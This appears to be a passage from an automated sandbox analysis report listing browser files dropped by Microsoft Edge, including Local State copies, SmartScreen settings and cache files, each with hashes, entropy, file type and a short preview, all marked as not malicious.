Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c777.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ee59.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF43d34.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d87a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF53679.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.01752679754216
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXaNjYn:YWLSGTt1o9LuLgfGBPAzkVj/T8lKNk
MD5:	FA9991F65B3749ED25A423D5B43A6E02
SHA1:	077E66B04D7E7C5F517B343E17FC88C5F5728587
SHA-256:	BE837625B18062ECE5C1190BEED7D26E431EAEE58735861E47E229A2E9A7C97C
SHA-512:	6E05609F70AA4AEC708752EE73A6EAAA5698123C3E12191D926185AE897AF7726B78255C6F952B24D2FA761F20EDBD854B83E4A6BF930042F6A742F80D0E0CE3
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732383827609715}]}

